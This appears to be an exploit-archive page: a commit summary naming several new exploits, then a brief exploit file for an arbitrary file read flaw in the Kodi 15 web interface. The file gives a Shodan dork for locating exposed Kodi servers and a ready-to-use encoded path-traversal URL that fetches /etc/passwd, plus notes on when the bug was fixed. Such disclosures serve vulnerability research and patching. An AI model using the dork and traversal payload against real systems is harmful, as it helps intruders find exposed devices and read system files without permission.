bb8b231f69
8 changes to exploits/shellcodes 6 new exploits/shellcodes Abyss Web Server < 2.11.6 - Heap Memory Corruption HP iMC Plat 7.2 - Remote Code Execution HP iMC Plat 7.2 - Remote Code Execution (2) Kodi 15 - Web Interface Arbitrary File Access ( Kodi 15 - Web Interface Arbitrary File Access Jobs2Careers / Coroflot Clone - SQL Injection MistServer 2.12 - Cross-Site Scripting Artica Web Proxy 3.06 - Remote Code Execution
20 lines
No EOL
577 B
Text
20 lines
No EOL
577 B
Text
# Exploit Title: arbitrary file access kodi web interface
|
||
# Shodan dork: title:kodi
|
||
# Date: 25-11-2015
|
||
# Contact: https://twitter.com/mpronk89
|
||
# Software Link: http://kodi.tv/
|
||
# Original report: http://forum.kodi.tv/showthread.php?tid=144110&pid=2170305#pid2170305
|
||
# Version: v15
|
||
# Tested on: linux
|
||
# CVE : n/a
|
||
|
||
kodi web interface vulnerable to arbitrary file read.
|
||
|
||
example:
|
||
<ip>:<port:/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
|
||
|
||
|
||
for passwd
|
||
|
||
(issue fixed in 2012, reintroduced in february 2015. Fixed again november
|
||
2015 for v16) |